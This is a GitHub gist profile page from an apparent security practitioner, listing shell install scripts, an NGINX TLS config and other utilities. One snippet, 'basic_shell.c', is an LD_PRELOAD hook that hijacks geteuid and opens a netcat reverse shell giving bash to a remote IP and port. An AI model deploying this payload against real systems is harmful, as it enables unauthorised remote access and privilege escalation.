Skip to content

Instantly share code, notes, and snippets.

View subfission's full-sized avatar
👨‍💻
InfoSec, privacy, and programming

ѕυвƒιѕѕιση subfission

👨‍💻
InfoSec, privacy, and programming
  • This is not the web page you are looking for
View GitHub Profile
@subfission
subfission / disable_logging.sh
Created July 12, 2020 23:26
Disable Raspberry Pi Log to Flashcard
#!/bin/bash
# Changes logging to log to RAM only. Set for 128M of tempfs.
curl -Lo log2ram.tar.gz https://github.com/azlux/log2ram/archive/master.tar.gz
tar xf log2ram.tar.gz
cd log2ram-master
chmod +x install.sh && sudo ./install.sh
sed -i 's/^\(SIZE\s*=\s*\).*$/\1128M/' /etc/log2ram.conf
cd ..
@subfission
subfission / basic_shell.c
Created May 11, 2020 23:39
Basic Shell Example for C
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
int geteuid() {
if (getenv("LD_PRELOAD") == NULL) {
return 0;
}
unsetenv("LD_PRELOAD");
system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.38.206 7777 >/tmp/f");
}
@subfission
subfission / example.conf
Last active September 11, 2020 08:09
Example OSCP Stapling for NGINX
# 2020-09-11
# Mozilla Guideline v5.6, nginx 1.17.7, OpenSSL 1.1.1d, intermediate configuration
# https://ssl-config.mozilla.org/#server=nginx&version=1.17.7&config=intermediate&openssl=1.1.1d&guideline=5.6
server {
listen 80 default_server;
listen [::]:80 default_server;
return 301 https://$host$request_uri;
}
@subfission
subfission / 7.cd2fd7dea46bb83b1054.js
Created March 30, 2020 13:24
What a weird way to do things
(window["webpackJsonp"] = window["webpackJsonp"] || [])["push"]([[7], {
'\x54\x69\x51\x70': function(h9v9, L9v9, K8v9) {
"use strict";
K8v9["r"](L9v9);
var m8v9 = K8v9("CcnG")
, V8v9 = function() {
return function() {}
;
}()
, n9v9 = K8v9("pMnS")
@subfission
subfission / patrowl-setup.sh
Last active March 26, 2020 07:29
PatrowlManger and Client installer
#!/bin/bash
set -e
echo "This will install PatrowlManger and Client"
read -p "Press return to continue..."
cd /opt
git clone https://github.com/Patrowl/PatrowlManager.git
git clone https://github.com/Patrowl/PatrowlEngines.git
@subfission
subfission / docker-parrotos4.8-install.sh
Created March 23, 2020 19:21
Docker install for ParrotOS ver 4.8
#!/bin/sh
set -e
sudo apt-get install -y docker docker.io docker-compose docker-doc
# Run docker.
sudo systemctl start docker
sudo systemctl enable docker
@subfission
subfission / docker-parrotos-install.sh
Created March 23, 2020 19:11
Docker installer for ParrotOS
#!/bin/sh
# From https://www.hiroom2.com/2017/09/24/parrotsec-3-8-docker-engine-en/
set -e
# Install dependencies.
sudo apt install -y curl apt-transport-https \
software-properties-common ca-certificates
# Install docker.
@subfission
subfission / beatboard_loader.sh
Created March 15, 2020 02:16
Filebeat dashboard loader through docker.
# Version refernces: https://www.docker.elastic.co/#
FILEBEATVER="6.8.7"
ELASTICHOST="127.0.0.1:9200"
KIBANAHOST="127.0.0.1:5601"
usage() {
echo "Usage: ./beatboard_loader.sh 'ELASTIC_HOST:PORT' 'KIBANA:PORT' [FILEBEATVER]"
echo """
ELASTIC_HOST:PORT The ElasticSearch host and port number (required)
@subfission
subfission / updater.sh
Last active March 15, 2020 02:40
Update script for IANA
#!/bin/bash
# updater.sh
#
# ====================== WARRANTY ======================
# You get no warranty of any kind and I would advise
# you to walk away while you can. This may break the
# internet.
# ======================================================
#
# Purpose:
@subfission
subfission / install.sh
Last active November 7, 2022 14:43
One liner for filebeat install on pfsense/opnsense for Suricata.
#!/bin/sh
BEATVER="6.8.6"
read -r -p "What is the Logstash host:port? " HOST_TARG
echo ">$HOST_TARG"
CURR_DIR=$(pwd)
function exiting {